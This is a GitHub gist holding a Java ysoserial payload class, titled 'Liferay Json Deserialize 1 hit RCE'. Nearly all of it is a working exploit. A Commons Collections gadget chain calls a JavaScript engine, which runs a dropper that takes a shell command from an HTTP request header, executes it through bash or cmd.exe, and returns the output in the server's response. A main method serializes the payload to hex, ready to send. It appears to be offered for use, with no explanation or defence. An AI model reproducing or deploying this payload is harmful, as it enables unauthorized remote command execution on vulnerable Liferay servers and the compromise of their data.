Created
March 27, 2020 09:18
-
-
Save testanull/4f8a9305b5b57ab8e7f15bbb0fb93461 to your computer and use it in GitHub Desktop.
Liferay Json Deserialize 1 hit RCE
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package ysoserial.payloads; | |
import com.mchange.lang.ByteUtils; | |
import org.apache.commons.collections.Transformer; | |
import org.apache.commons.collections.functors.ChainedTransformer; | |
import org.apache.commons.collections.functors.ConstantTransformer; | |
import org.apache.commons.collections.functors.InvokerTransformer; | |
import org.apache.commons.collections.keyvalue.TiedMapEntry; | |
import org.apache.commons.collections.map.LazyMap; | |
import ysoserial.payloads.annotation.Authors; | |
import ysoserial.payloads.annotation.Dependencies; | |
import ysoserial.payloads.util.PayloadRunner; | |
import java.io.ByteArrayOutputStream; | |
import java.io.ObjectOutputStream; | |
import java.io.PrintStream; | |
import java.io.Serializable; | |
import java.lang.reflect.Field; | |
import java.util.HashMap; | |
import java.util.HashSet; | |
import java.util.Map; | |
@Dependencies({"commons-collections:commons-collections:3.2.1"}) | |
@Authors({Authors.MATTHIASKAISER, Authors.JANG}) | |
public class LiferayJsonEvalCC6 extends PayloadRunner implements ObjectPayload<Serializable> { | |
public Serializable getObject(String command) throws Exception { | |
String dropper = "var currentThread = com.liferay.portal.service.ServiceContextThreadLocal.getServiceContext();\n" + | |
"var isWin = java.lang.System.getProperty(\"os.name\").toLowerCase().contains(\"win\");\n" + | |
"var request = currentThread.getRequest();\n" + | |
"var _req = org.apache.catalina.connector.RequestFacade.class.getDeclaredField(\"request\");\n" + | |
"_req.setAccessible(true);\n" + | |
"var realRequest = _req.get(request);\n" + | |
"var response = realRequest.getResponse();\n" + | |
"var outputStream = response.getOutputStream();\n" + | |
"var cmd = new java.lang.String(request.getHeader(\"" + command + "\"));\n" + | |
"var listCmd = new java.util.ArrayList();\n" + | |
"var p = new java.lang.ProcessBuilder();\n" + | |
"if(isWin){\n" + | |
" p.command(\"cmd.exe\", \"/c\", cmd);\n" + | |
"}else{\n" + | |
" p.command(\"bash\", \"-c\", cmd);\n" + | |
"}\n" + | |
"p.redirectErrorStream(true);\n" + | |
"var process = p.start();\n" + | |
"var inputStreamReader = new java.io.InputStreamReader(process.getInputStream());\n" + | |
"var bufferedReader = new java.io.BufferedReader(inputStreamReader);\n" + | |
"var line = \"\";\n" + | |
"var fullText = \"\";\n" + | |
"while((line = bufferedReader.readLine()) != null){\n" + | |
" fullText = fullText + line + \"\\n\";\n" + | |
"}\n" + | |
"var bytes = fullText.getBytes(\"UTF-8\");\n" + | |
"outputStream.write(bytes);\n" + | |
"outputStream.close();\n"; | |
String[] execArgs = new String[]{dropper}; | |
Transformer[] transformers = new Transformer[]{new ConstantTransformer(javax.script.ScriptEngineManager.class), | |
new InvokerTransformer("newInstance", new Class[]{}, | |
new Object[]{}), | |
new InvokerTransformer("getEngineByName", new Class[]{String.class}, | |
new Object[]{"JavaScript"}), | |
new InvokerTransformer("eval", new Class[]{String.class}, execArgs), new ConstantTransformer(1)}; | |
Transformer transformerChain = new ChainedTransformer(transformers); | |
Map innerMap = new HashMap(); | |
Map lazyMap = LazyMap.decorate(innerMap, transformerChain); | |
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); | |
HashSet map = new HashSet(1); | |
map.add("foo"); | |
Field f = null; | |
try { | |
f = HashSet.class.getDeclaredField("map"); | |
} catch (NoSuchFieldException var18) { | |
f = HashSet.class.getDeclaredField("backingMap"); | |
} | |
f.setAccessible(true); | |
HashMap innimpl = (HashMap) f.get(map); | |
Field f2 = null; | |
try { | |
f2 = HashMap.class.getDeclaredField("table"); | |
} catch (NoSuchFieldException var17) { | |
f2 = HashMap.class.getDeclaredField("elementData"); | |
} | |
f2.setAccessible(true); | |
Object[] array = (Object[]) ((Object[]) f2.get(innimpl)); | |
Object node = array[0]; | |
if (node == null) { | |
node = array[1]; | |
} | |
Field keyField = null; | |
try { | |
keyField = node.getClass().getDeclaredField("key"); | |
} catch (Exception var16) { | |
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); | |
} | |
keyField.setAccessible(true); | |
keyField.set(node, entry); | |
return map; | |
} | |
public static void main(String[] args) throws Exception { | |
PrintStream out = System.out; | |
LiferayJsonEvalCC6 cc6Eval = new LiferayJsonEvalCC6(); | |
ObjectPayload payload = LiferayJsonEvalCC6.class.newInstance(); | |
Object object = cc6Eval.getObject("cmd2"); | |
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); | |
ObjectOutputStream objOut = new ObjectOutputStream(byteArrayOutputStream); | |
objOut.writeObject(object); | |
String hexDmp = ByteUtils.toHexAscii(byteArrayOutputStream.toByteArray()); | |
System.out.println(hexDmp); | |
ObjectPayload.Utils.releasePayload(payload, object); | |
// PayloadRunner.run(LiferayJsonEvalCC6.class, args); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment